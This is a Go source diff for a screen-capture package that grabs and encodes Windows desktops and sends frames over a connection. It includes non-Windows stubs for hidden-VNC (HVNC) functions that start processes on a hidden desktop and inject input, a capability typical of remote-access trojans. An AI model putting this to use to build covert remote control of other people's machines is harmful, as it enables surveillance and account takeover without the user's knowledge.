captureDisplayFn = originalCapture
})
ctx, cancel := context.WithCancel(context.Background())
cancel() // fuck no
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
// SHOULD handle gracefully, may or may not send depending on timing :sob:
_ = CaptureAndSend(ctx, env)
}
@@ -0,0 +1,14 @@
//go:build !linux && !windows
package capture
import "github.com/kbinani/screenshot"
var (
activeDisplays = screenshot.NumActiveDisplays
captureDisplayFn = screenshot.CaptureDisplay
)
func displayCount() int {
return screenshot.NumActiveDisplays()
}
@@ -0,0 +1,5 @@
//go:build windows
package capture
var activeDisplays = displayCount
@@ -0,0 +1,13 @@
//go:build !windows
package capture
import (
"image"
)
func SetCursorCapture(enabled bool) {}
func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
// if you're not windows fuck you
}
@@ -0,0 +1,245 @@
//go:build windows
package capture
import (
"image"
"image/color"
"sync/atomic"
"unsafe"
)
var (
cursorCaptureEnabled atomic.Bool
)
func SetCursorCapture(enabled bool) {
cursorCaptureEnabled.Store(enabled)
}
var (
procGetCursorPos = user32.NewProc("GetCursorPos")
procGetCursorInfo = user32.NewProc("GetCursorInfo")
procGetIconInfo = user32.NewProc("GetIconInfo")
procDrawIconEx = user32.NewProc("DrawIconEx")
)
const (
CURSOR_SHOWING = 0x00000001
DI_NORMAL = 0x0003
DI_DEFAULTSIZE = 0x0008
)
type point struct {
x int32
y int32
}
type cursorInfo struct {
cbSize uint32
flags uint32
hCursor uintptr
ptScreenPos point
}
type iconInfo struct {
fIcon uint32
xHotspot uint32
yHotspot uint32
hbmMask uintptr
hbmColor uintptr
}
func getCursorPosition() (x, y int32, visible bool) {
var ci cursorInfo
ci.cbSize = uint32(unsafe.Sizeof(ci))
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
if ret == 0 {
return 0, 0, false
}
visible = (ci.flags & CURSOR_SHOWING) != 0
return ci.ptScreenPos.x, ci.ptScreenPos.y, visible
}
func drawCursor(img *image.RGBA, cursorX, cursorY int32, bounds image.Rectangle) {
imgX := int(cursorX) - bounds.Min.X
imgY := int(cursorY) - bounds.Min.Y
if imgX < 0 || imgY < 0 || imgX >= img.Bounds().Dx() || imgY >= img.Bounds().Dy() {
return
}
cursorPattern := []struct {
x, y int
c color.RGBA
}{
{0, 0, color.RGBA{0, 0, 0, 255}},
{0, 1, color.RGBA{0, 0, 0, 255}},
{0, 2, color.RGBA{0, 0, 0, 255}},
{0, 3, color.RGBA{0, 0, 0, 255}},
{0, 4, color.RGBA{0, 0, 0, 255}},
{0, 5, color.RGBA{0, 0, 0, 255}},
{0, 6, color.RGBA{0, 0, 0, 255}},
{0, 7, color.RGBA{0, 0, 0, 255}},
{0, 8, color.RGBA{0, 0, 0, 255}},
{0, 9, color.RGBA{0, 0, 0, 255}},
{0, 10, color.RGBA{0, 0, 0, 255}},
{0, 11, color.RGBA{0, 0, 0, 255}},
{1, 0, color.RGBA{0, 0, 0, 255}},
{1, 10, color.RGBA{0, 0, 0, 255}},
{2, 0, color.RGBA{0, 0, 0, 255}},
{2, 9, color.RGBA{0, 0, 0, 255}},
{3, 0, color.RGBA{0, 0, 0, 255}},
{3, 8, color.RGBA{0, 0, 0, 255}},
{3, 9, color.RGBA{0, 0, 0, 255}},
{4, 0, color.RGBA{0, 0, 0, 255}},
{4, 7, color.RGBA{0, 0, 0, 255}},
{4, 8, color.RGBA{0, 0, 0, 255}},
{5, 0, color.RGBA{0, 0, 0, 255}},
{5, 6, color.RGBA{0, 0, 0, 255}},
{5, 7, color.RGBA{0, 0, 0, 255}},
{5, 13, color.RGBA{0, 0, 0, 255}},
{6, 0, color.RGBA{0, 0, 0, 255}},
{6, 5, color.RGBA{0, 0, 0, 255}},
{6, 6, color.RGBA{0, 0, 0, 255}},
{6, 12, color.RGBA{0, 0, 0, 255}},
{6, 13, color.RGBA{0, 0, 0, 255}},
{7, 0, color.RGBA{0, 0, 0, 255}},
{7, 4, color.RGBA{0, 0, 0, 255}},
{7, 5, color.RGBA{0, 0, 0, 255}},
{7, 11, color.RGBA{0, 0, 0, 255}},
{7, 12, color.RGBA{0, 0, 0, 255}},
{8, 4, color.RGBA{0, 0, 0, 255}},
{8, 10, color.RGBA{0, 0, 0, 255}},
{8, 11, color.RGBA{0, 0, 0, 255}},
{9, 4, color.RGBA{0, 0, 0, 255}},
{9, 9, color.RGBA{0, 0, 0, 255}},
{9, 10, color.RGBA{0, 0, 0, 255}},
{10, 8, color.RGBA{0, 0, 0, 255}},
{10, 9, color.RGBA{0, 0, 0, 255}},
{11, 7, color.RGBA{0, 0, 0, 255}},
{11, 8, color.RGBA{0, 0, 0, 255}},
{12, 6, color.RGBA{0, 0, 0, 255}},
{12, 7, color.RGBA{0, 0, 0, 255}},
{1, 1, color.RGBA{255, 255, 255, 255}},
{1, 2, color.RGBA{255, 255, 255, 255}},
{1, 3, color.RGBA{255, 255, 255, 255}},
{1, 4, color.RGBA{255, 255, 255, 255}},
{1, 5, color.RGBA{255, 255, 255, 255}},
{1, 6, color.RGBA{255, 255, 255, 255}},
{1, 7, color.RGBA{255, 255, 255, 255}},
{1, 8, color.RGBA{255, 255, 255, 255}},
{1, 9, color.RGBA{255, 255, 255, 255}},
{2, 1, color.RGBA{255, 255, 255, 255}},
{2, 2, color.RGBA{255, 255, 255, 255}},
{2, 3, color.RGBA{255, 255, 255, 255}},
{2, 4, color.RGBA{255, 255, 255, 255}},
{2, 5, color.RGBA{255, 255, 255, 255}},
{2, 6, color.RGBA{255, 255, 255, 255}},
{2, 7, color.RGBA{255, 255, 255, 255}},
{2, 8, color.RGBA{255, 255, 255, 255}},
{3, 1, color.RGBA{255, 255, 255, 255}},
{3, 2, color.RGBA{255, 255, 255, 255}},
{3, 3, color.RGBA{255, 255, 255, 255}},
{3, 4, color.RGBA{255, 255, 255, 255}},
{3, 5, color.RGBA{255, 255, 255, 255}},
{3, 6, color.RGBA{255, 255, 255, 255}},
{3, 7, color.RGBA{255, 255, 255, 255}},
{4, 1, color.RGBA{255, 255, 255, 255}},
{4, 2, color.RGBA{255, 255, 255, 255}},
{4, 3, color.RGBA{255, 255, 255, 255}},
{4, 4, color.RGBA{255, 255, 255, 255}},
{4, 5, color.RGBA{255, 255, 255, 255}},
{4, 6, color.RGBA{255, 255, 255, 255}},
{5, 1, color.RGBA{255, 255, 255, 255}},
{5, 2, color.RGBA{255, 255, 255, 255}},
{5, 3, color.RGBA{255, 255, 255, 255}},
{5, 4, color.RGBA{255, 255, 255, 255}},
{5, 5, color.RGBA{255, 255, 255, 255}},
{5, 11, color.RGBA{255, 255, 255, 255}},
{5, 12, color.RGBA{255, 255, 255, 255}},
{6, 1, color.RGBA{255, 255, 255, 255}},
{6, 2, color.RGBA{255, 255, 255, 255}},
{6, 3, color.RGBA{255, 255, 255, 255}},
{6, 4, color.RGBA{255, 255, 255, 255}},
{6, 10, color.RGBA{255, 255, 255, 255}},
{6, 11, color.RGBA{255, 255, 255, 255}},
{7, 1, color.RGBA{255, 255, 255, 255}},
{7, 2, color.RGBA{255, 255, 255, 255}},
{7, 3, color.RGBA{255, 255, 255, 255}},
{7, 9, color.RGBA{255, 255, 255, 255}},
{7, 10, color.RGBA{255, 255, 255, 255}},
{8, 5, color.RGBA{255, 255, 255, 255}},
{8, 6, color.RGBA{255, 255, 255, 255}},
{8, 7, color.RGBA{255, 255, 255, 255}},
{8, 8, color.RGBA{255, 255, 255, 255}},
{8, 9, color.RGBA{255, 255, 255, 255}},
{9, 5, color.RGBA{255, 255, 255, 255}},
{9, 6, color.RGBA{255, 255, 255, 255}},
{9, 7, color.RGBA{255, 255, 255, 255}},
{9, 8, color.RGBA{255, 255, 255, 255}},
{10, 6, color.RGBA{255, 255, 255, 255}},
{10, 7, color.RGBA{255, 255, 255, 255}},
{11, 6, color.RGBA{255, 255, 255, 255}},
}
for _, p := range cursorPattern {
px := imgX + p.x
py := imgY + p.y
if px >= 0 && px < img.Bounds().Dx() && py >= 0 && py < img.Bounds().Dy() {
img.SetRGBA(px, py, p.c)
}
}
}
func DrawCursorOnDC(hdc uintptr, captureBounds image.Rectangle) bool {
if !cursorCaptureEnabled.Load() || hdc == 0 {
return false
}
var ci cursorInfo
ci.cbSize = uint32(unsafe.Sizeof(ci))
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 {
return false
}
var icon iconInfo
ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon)))
if ret == 0 {
return false
}
if icon.hbmMask != 0 {
defer deleteObject(icon.hbmMask)
}
if icon.hbmColor != 0 {
defer deleteObject(icon.hbmColor)
}
x := int32(ci.ptScreenPos.x) - int32(captureBounds.Min.X) - int32(icon.xHotspot)
y := int32(ci.ptScreenPos.y) - int32(captureBounds.Min.Y) - int32(icon.yHotspot)
ret, _, _ = procDrawIconEx.Call(
hdc,
uintptr(x),
uintptr(y),
ci.hCursor,
0,
0,
0,
0,
uintptr(DI_NORMAL),
)
return ret != 0
}
func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
if !cursorCaptureEnabled.Load() {
return
}
x, y, visible := getCursorPosition()
if visible {
drawCursor(img, x, y, captureBounds)
}
}
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func SetDesktopDuplication(enabled bool) {}
@@ -0,0 +1,52 @@
//go:build !windows
package capture
import (
"errors"
"image"
)
func InitializeHVNCDesktop() error {
return errors.New("HVNC not supported on this platform")
}
func CleanupHVNCDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
func HVNCMonitorCount() int {
return 0
}
func StartHVNCProcess(filePath string) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseMove(display int, x, y int32) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseDown(button int) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseUp(button int) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputKeyDown(vk uint16) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputKeyUp(vk uint16) error {
return errors.New("HVNC not supported on this platform")
}
func HVNCInputMouseWheel(delta int32) error {
return errors.New("HVNC not supported on this platform")
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,16 @@
package capture
import (
"bytes"
"image"
"image/jpeg"
)
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
buf := bytes.Buffer{}
err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
if err != nil {
return nil, err
}
return buf.Bytes(), nil
}
@@ -0,0 +1,23 @@
//go:build turbojpeg
package capture
import (
"bytes"
"image"
ljpeg "github.com/pixiv/go-libjpeg/jpeg"
)
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
opts := &ljpeg.EncoderOptions{
Quality: quality,
OptimizeCoding: true,
DCTMethod: ljpeg.DCTISlow,
}
buf := bytes.Buffer{}
if err := ljpeg.Encode(&buf, img, opts); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
@@ -0,0 +1,16 @@
package capture
import "image"
type MonitorInfo struct {
Width int `msgpack:"width"`
Height int `msgpack:"height"`
}
func DisplayBounds(idx int) image.Rectangle {
return displayBounds(idx)
}
func DisplayScale(idx int) float64 {
return displayScale(idx)
}
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func ResetMonitorCache() {}
@@ -0,0 +1,17 @@
//go:build !windows
package capture
import "image"
func displayBounds(idx int) image.Rectangle {
return image.Rectangle{}
}
func displayScale(idx int) float64 {
return 1.0
}
func MonitorInfos() []MonitorInfo {
return nil
}
@@ -0,0 +1,278 @@
//go:build windows
package capture
import (
"image"
"log"
"sort"
"strconv"
"strings"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
procGetMonitorInfoW = user32.NewProc("GetMonitorInfoW")
procEnumDisplaySettingsW = user32.NewProc("EnumDisplaySettingsW")
)
type rect struct {
left int32
top int32
right int32
bottom int32
}
type monitorInfoEx struct {
cbSize uint32
rcMonitor rect
rcWork rect
dwFlags uint32
szDevice [32]uint16
}
type devMode struct {
dmDeviceName [32]uint16
dmSpecVersion uint16
dmDriverVersion uint16
dmSize uint16
dmDriverExtra uint16
dmFields uint32
dmPositionX int32
dmPositionY int32
dmDisplayOrientation uint32
dmDisplayFixedOutput uint32
dmColor int16
dmDuplex int16
dmYResolution int16
dmTTOption int16
dmCollate int16
dmFormName [32]uint16
dmLogPixels uint16
dmBitsPerPel uint32
dmPelsWidth uint32
dmPelsHeight uint32
dmDisplayFlags uint32
dmDisplayFrequency uint32
dmICMMethod uint32
dmICMIntent uint32
dmMediaType uint32
dmDitherType uint32
dmReserved1 uint32
dmReserved2 uint32
dmPanningWidth uint32
dmPanningHeight uint32
}
const (
monitorInfofPrimary = 1
enumCurrentSettings = 0xFFFFFFFF
)
type monitorDesc struct {
name string
rect image.Rectangle
workRect image.Rectangle
primary bool
physW int
physH int
scale float64
posX int
posY int
}
var (
monitorsCache atomic.Value
monitorsMu sync.Mutex
monitorsTs int64
)
func displayCount() int {
setDPIAware()
return len(monitorList())
}
func displayBounds(idx int) image.Rectangle {
mons := monitorList()
if idx >= 0 && idx < len(mons) {
return mons[idx].rect
}
if len(mons) > 0 {
return mons[0].rect
}
w := int(getSystemMetric(SM_CXSCREEN))
h := int(getSystemMetric(SM_CYSCREEN))
return image.Rect(0, 0, w, h)
}
func displayScale(idx int) float64 {
mons := monitorList()
if idx >= 0 && idx < len(mons) {
if mons[idx].scale > 0 {
return mons[idx].scale
}
}
return 1.0
}
func monitorList() []monitorDesc {
setDPIAware()
if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
return v
}
monitorsMu.Lock()
defer monitorsMu.Unlock()
if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
return v
}
mons := enumerateMonitors()
monitorsCache.Store(mons)
monitorsTs = time.Now().UnixNano()
logMonitors(mons)
return mons
}
func ResetMonitorCache() {
monitorsMu.Lock()
defer monitorsMu.Unlock()
monitorsCache.Store([]monitorDesc{})
monitorsTs = 0
}
func enumerateMonitors() []monitorDesc {
var result []monitorDesc
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
var mi monitorInfoEx
mi.cbSize = uint32(unsafe.Sizeof(mi))
if ret, _, _ := procGetMonitorInfoW.Call(hMonitor, uintptr(unsafe.Pointer(&mi))); ret == 0 {
return 1
}
name := windows.UTF16ToString(mi.szDevice[:])
primary := mi.dwFlags&monitorInfofPrimary != 0
var dm devMode
dm.dmSize = uint16(unsafe.Sizeof(dm))
var physW, physH int
var scale float64 = 1.0
var posX, posY int
if ret, _, _ := procEnumDisplaySettingsW.Call(uintptr(unsafe.Pointer(&mi.szDevice[0])), enumCurrentSettings, uintptr(unsafe.Pointer(&dm))); ret != 0 {
physW = int(dm.dmPelsWidth)
physH = int(dm.dmPelsHeight)
posX = int(dm.dmPositionX)
posY = int(dm.dmPositionY)
vw := int(mi.rcMonitor.right - mi.rcMonitor.left)
if vw > 0 {
scale = float64(dm.dmPelsWidth) / float64(vw)
}
}
r := image.Rect(int(mi.rcMonitor.left), int(mi.rcMonitor.top), int(mi.rcMonitor.right), int(mi.rcMonitor.bottom))
w := image.Rect(int(mi.rcWork.left), int(mi.rcWork.top), int(mi.rcWork.right), int(mi.rcWork.bottom))
result = append(result, monitorDesc{
name: name,
rect: r,
workRect: w,
primary: primary,
physW: physW,
physH: physH,
scale: scale,
posX: posX,
posY: posY,
})
return 1
})
if ret, _, _ := procEnumDisplayMonitors.Call(0, 0, cb, 0); ret == 0 {
w := int(getSystemMetric(SM_CXSCREEN))
h := int(getSystemMetric(SM_CYSCREEN))
return []monitorDesc{{
name: "Primary",
rect: image.Rect(0, 0, w, h),
primary: true,
physW: w,
physH: h,
scale: 1.0,
}}
}
sort.Slice(result, func(i, j int) bool {
if result[i].primary != result[j].primary {
return result[i].primary
}
oi := deviceOrdinal(result[i].name)
oj := deviceOrdinal(result[j].name)
if oi >= 0 && oj >= 0 && oi != oj {
return oi < oj
}
if result[i].rect.Min.Y == result[j].rect.Min.Y {
return result[i].rect.Min.X < result[j].rect.Min.X
}
return result[i].rect.Min.Y < result[j].rect.Min.Y
})
return result
}
func deviceOrdinal(name string) int {
name = strings.TrimSpace(name)
end := len(name)
start := end
for start > 0 {
c := name[start-1]
if c < '0' || c > '9' {
break
}
start--
}
if start == end {
return -1
}
n, err := strconv.Atoi(name[start:end])
if err != nil {
return -1
}
return n
}
func logMonitors(mons []monitorDesc) {
log.Printf("capture: detected %d monitor(s)", len(mons))
for i, m := range mons {
log.Printf("capture: monitor %d name=%q primary=%v virtual=%v phys=%dx%d scale=%.2f pos=(%d,%d)", i, m.name, m.primary, m.rect, m.physW, m.physH, m.scale, m.posX, m.posY)
}
}
func MonitorInfos() []MonitorInfo {
mons := monitorList()
if len(mons) == 0 {
return nil
}
infos := make([]MonitorInfo, 0, len(mons))
for _, m := range mons {
w := m.rect.Dx()
h := m.rect.Dy()
if w < 0 {
w = 0
}
if h < 0 {
h = 0
}
infos = append(infos, MonitorInfo{Width: w, Height: h})
}
return infos
}
@@ -0,0 +1,56 @@
package capture
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"time"
)
const crashLogFileName = "crashlogC.log"
func goSafe(label string, cancel context.CancelFunc, fn func()) {
go func() {
defer recoverAndLog(label, cancel)
fn()
}()
}
func recoverAndLog(label string, cancel context.CancelFunc) {
if r := recover(); r != nil {
reason := fmt.Sprintf("%s panic: %v", label, r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[panic] %s (see %s)", reason, path)
if cancel != nil {
cancel()
}
}
}
func writeCrashLog(reason string, stack []byte) string {
dir := os.TempDir()
_ = os.MkdirAll(dir, 0700)
path := filepath.Join(dir, crashLogFileName)
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
log.Printf("[panic] failed to open crash log %s: %v", path, err)
return path
}
defer file.Close()
timestamp := time.Now().UTC().Format(time.RFC3339)
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
if len(stack) > 0 {
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
}
return path
}
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func ResetDesktopCapture() {}
@@ -0,0 +1,11 @@
//go:build windows
package capture
func ResetDesktopCapture() {
// Prevent freeing the DIB section while a BitBlt capture is in progress.
captureMu.Lock()
defer captureMu.Unlock()
state.reset()
dxgiState.reset()
}
@@ -0,0 +1,13 @@
//go:build !windows
package capture
import "image"
func cursorROI() (image.Rectangle, bool) {
return image.Rectangle{}, false
}
func focusWindowROI() (image.Rectangle, bool) {
return image.Rectangle{}, false
}
@@ -0,0 +1,51 @@
//go:build windows
package capture
import (
"image"
"unsafe"
)
var (
procGetForegroundWindowROI = user32.NewProc("GetForegroundWindow")
procGetWindowRectROI = user32.NewProc("GetWindowRect")
)
type winRect struct {
left int32
top int32
right int32
bottom int32
}
func cursorROI() (image.Rectangle, bool) {
x, y, visible := getCursorPosition()
if !visible {
return image.Rectangle{}, false
}
const cursorBox = 48
half := cursorBox / 2
r := image.Rect(int(x)-half, int(y)-half, int(x)+half, int(y)+half)
if r.Dx() <= 0 || r.Dy() <= 0 {
return image.Rectangle{}, false
}
return r, true
}
func focusWindowROI() (image.Rectangle, bool) {
hwnd, _, _ := procGetForegroundWindowROI.Call()
if hwnd == 0 {
return image.Rectangle{}, false
}
var wr winRect
ret, _, _ := procGetWindowRectROI.Call(hwnd, uintptr(unsafe.Pointer(&wr)))
if ret == 0 {
return image.Rectangle{}, false
}
r := image.Rect(int(wr.left), int(wr.top), int(wr.right), int(wr.bottom))
if r.Dx() <= 0 || r.Dy() <= 0 {
return image.Rectangle{}, false
}
return r, true
}
@@ -0,0 +1,477 @@
//go:build windows
package capture
import (
"image"
"log"
"os"
"strconv"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
shcore = syscall.NewLazyDLL("shcore.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
procCreateDCW = gdi32.NewProc("CreateDCW")
procDeleteDC = gdi32.NewProc("DeleteDC")
procCreateCompatibleBitmap = gdi32.NewProc("CreateCompatibleBitmap")
procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
procDeleteObject = gdi32.NewProc("DeleteObject")
procSelectObject = gdi32.NewProc("SelectObject")
procBitBlt = gdi32.NewProc("BitBlt")
procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness")
)
const (
SM_CXSCREEN = 0
SM_CYSCREEN = 1
SM_XVIRTUALSCREEN = 76
SM_YVIRTUALSCREEN = 77
SM_CXVIRTUALSCREEN = 78
SM_CYVIRTUALSCREEN = 79
SRCCOPY = 0x00CC0020
CAPTUREBLT = 0x40000000
BI_RGB = 0
DIB_RGB_COLORS = 0
PROCESS_PER_MONITOR_DPI_AWARE = 2
)
type bitmapInfoHeader struct {
biSize uint32
biWidth int32
biHeight int32
biPlanes uint16
biBitCount uint16
biCompression uint32
biSizeImage uint32
biXPelsPerMeter int32
biYPelsPerMeter int32
biClrUsed uint32
biClrImportant uint32
}
type bitmapInfo struct {
bmiHeader bitmapInfoHeader
redMask uint32
greenMask uint32
blueMask uint32
alphaMask uint32
}
func getSystemMetric(i int32) int32 {
r, _, _ := procGetSystemMetrics.Call(uintptr(i))
return int32(r)
}
func getDC(hwnd uintptr) uintptr {
dc, _, _ := procGetDC.Call(hwnd)
return dc
}
func releaseDC(hwnd, hdc uintptr) {
_, _, _ = procReleaseDC.Call(hwnd, hdc)
}
func createCompatibleDC(hdc uintptr) uintptr {
r, _, _ := procCreateCompatibleDC.Call(hdc)
return r
}
func createDisplayDC() uintptr {
displayName := syscall.StringToUTF16Ptr("DISPLAY")
r, _, _ := procCreateDCW.Call(uintptr(unsafe.Pointer(displayName)), 0, 0, 0)
return r
}
func deleteDC(hdc uintptr) {
_, _, _ = procDeleteDC.Call(hdc)
}
func createCompatibleBitmap(hdc uintptr, w, h int32) uintptr {
r, _, _ := procCreateCompatibleBitmap.Call(hdc, uintptr(w), uintptr(h))
return r
}
func createDIBSection(hdc uintptr, bmi *bitmapInfo, usage uint32, bits *unsafe.Pointer) uintptr {
r, _, _ := procCreateDIBSection.Call(hdc, uintptr(unsafe.Pointer(bmi)), uintptr(usage), uintptr(unsafe.Pointer(bits)), 0, 0)
return r
}
func deleteObject(obj uintptr) {
_, _, _ = procDeleteObject.Call(obj)
}
func selectObject(hdc, hgdiobj uintptr) uintptr {
r, _, _ := procSelectObject.Call(hdc, hgdiobj)
return r
}
func bitBlt(hdcDest uintptr, x, y, cx, cy int32, hdcSrc uintptr, x1, y1 int32, rop uint32) bool {
r, _, _ := procBitBlt.Call(hdcDest, uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), hdcSrc, uintptr(x1), uintptr(y1), uintptr(rop))
return r != 0
}
func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool {
if bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT) {
return true
}
return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY)
}
var dpiAwareOnce sync.Once
func setDPIAware() {
dpiAwareOnce.Do(func() {
if procSetProcessDpiAwareness.Find() == nil {
procSetProcessDpiAwareness.Call(uintptr(PROCESS_PER_MONITOR_DPI_AWARE))
}
})
}
var (
captureCount atomic.Int64
bitbltNs atomic.Int64
convertNs atomic.Int64
lastCaptureLogNs atomic.Int64
scaleOnce sync.Once
cachedScale float64
state capState
captureMu sync.Mutex
)
var captureDisplayFn = func(display int) (*image.RGBA, error) {
if useDesktopDuplication() {
img, err := captureDisplayDXGI(display)
if err == nil && img != nil {
return img, nil
}
if err != nil {
log.Printf("capture: dxgi duplication failed: %v (falling back to bitblt)", err)
}
}
return captureDisplayBitBlt(display)
}
func captureDisplayBitBlt(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
setDPIAware()
maxDisplays := displayCount()
if display < 0 || display >= maxDisplays {
display = 0
}
mons := monitorList()
if display >= len(mons) {
display = 0
}
mon := mons[display]
bounds := resolveBounds(mon)
srcW := bounds.Dx()
srcH := bounds.Dy()
if srcW <= 0 || srcH <= 0 {
ResetMonitorCache()
mons = monitorList()
if display >= len(mons) {
display = 0
}
if display < len(mons) {
mon = mons[display]
bounds = resolveBounds(mon)
srcW = bounds.Dx()
srcH = bounds.Dy()
}
if srcW <= 0 || srcH <= 0 {
return nil, syscall.EINVAL
}
}
userScale := captureScale()
dstW := int(float64(srcW) * userScale)
dstH := int(float64(srcH) * userScale)
if dstW <= 0 || dstH <= 0 {
dstW = srcW
dstH = srcH
}
capW := srcW
capH := srcH
hdcScreen := createDisplayDC()
fromCreateDC := hdcScreen != 0
if hdcScreen == 0 {
hdcScreen = getDC(0)
}
if hdcScreen == 0 {
return nil, syscall.EINVAL
}
closeDC := func() {
if hdcScreen == 0 {
return
}
if fromCreateDC {
deleteDC(hdcScreen)
} else {
releaseDC(0, hdcScreen)
}
hdcScreen = 0
}
defer closeDC()
if capW <= 0 || capH <= 0 {
return nil, syscall.EINVAL
}
captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) {
hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH)
if err != nil {
return nil, 0, 0, 0, err
}
bitStart := time.Now()
if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
state.reset()
hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH)
if err != nil {
return nil, 0, 0, 0, err
}
if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
return nil, 0, 0, 0, syscall.EINVAL
}
}
bitDur := time.Since(bitStart)
cursorDrawn := DrawCursorOnDC(hdcMem, bounds)
if len(buf) == 0 {
return nil, 0, 0, 0, syscall.EINVAL
}
dibDur := time.Duration(0)
convStart := time.Now()
swapRB(buf)
img := &image.RGBA{Pix: buf, Stride: stride, Rect: image.Rect(0, 0, capW, capH)}
convDur := time.Since(convStart)
if !cursorDrawn {
DrawCursorOnImage(img, bounds)
}
if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH)
} else {
// Detach from the reusable DIB buffer to avoid concurrent mutation during encode.
stable := image.NewRGBA(img.Rect)
copy(stable.Pix, img.Pix)
img = stable
}
return img, bitDur, dibDur, convDur, nil
}
img, bitDur, dibDur, convDur, err := captureWithDC()
if err != nil && fromCreateDC {
closeDC()
hdcScreen = getDC(0)
fromCreateDC = false
if hdcScreen == 0 {
return nil, err
}
img, bitDur, dibDur, convDur, err = captureWithDC()
}
if err != nil {
return nil, err
}
logCaptureTimings(bitDur, dibDur, convDur)
return img, nil
}
func clampToVirtual(bounds image.Rectangle) image.Rectangle {
vx := int(getSystemMetric(SM_XVIRTUALSCREEN))
vy := int(getSystemMetric(SM_YVIRTUALSCREEN))
vw := int(getSystemMetric(SM_CXVIRTUALSCREEN))
vh := int(getSystemMetric(SM_CYVIRTUALSCREEN))
if vw <= 0 || vh <= 0 {
return bounds
}
virtual := image.Rect(vx, vy, vx+vw, vy+vh)
inter := bounds.Intersect(virtual)
if inter.Empty() {
return bounds
}
return inter
}
func resolveBounds(mon monitorDesc) image.Rectangle {
virtualW := int(getSystemMetric(SM_CXVIRTUALSCREEN))
virtualH := int(getSystemMetric(SM_CYVIRTUALSCREEN))
if virtualW > 0 && virtualH > 0 {
return clampToVirtual(mon.rect)
}
return captureBounds(mon)
}
func captureBounds(mon monitorDesc) image.Rectangle {
bounds := mon.rect
if mon.physW > 0 && mon.physH > 0 {
phys := image.Rect(mon.posX, mon.posY, mon.posX+mon.physW, mon.posY+mon.physH)
if phys.Dx() > 0 && phys.Dy() > 0 {
if mon.scale != 1.0 || phys.Dx() != bounds.Dx() || phys.Dy() != bounds.Dy() {
bounds = phys
}
}
}
return bounds
}
func swapRB(pix []byte) {
for i := 0; i+3 < len(pix); i += 4 {
pix[i], pix[i+2] = pix[i+2], pix[i]
}
}
func logCaptureTimings(bitDur, dibDur, convDur time.Duration) {
captureCount.Add(1)
bitbltNs.Add(bitDur.Nanoseconds())
convertNs.Add(convDur.Nanoseconds())
nowNs := time.Now().UnixNano()
last := lastCaptureLogNs.Load()
if last != 0 && time.Duration(nowNs-last) < 5*time.Second {
return
}
if !lastCaptureLogNs.CompareAndSwap(last, nowNs) {
return
}
frames := captureCount.Swap(0)
if frames == 0 {
return
}
avg := func(totalNs atomic.Int64) float64 {
return float64(totalNs.Swap(0)) / 1e6 / float64(frames)
}
bitAvg := avg(bitbltNs)
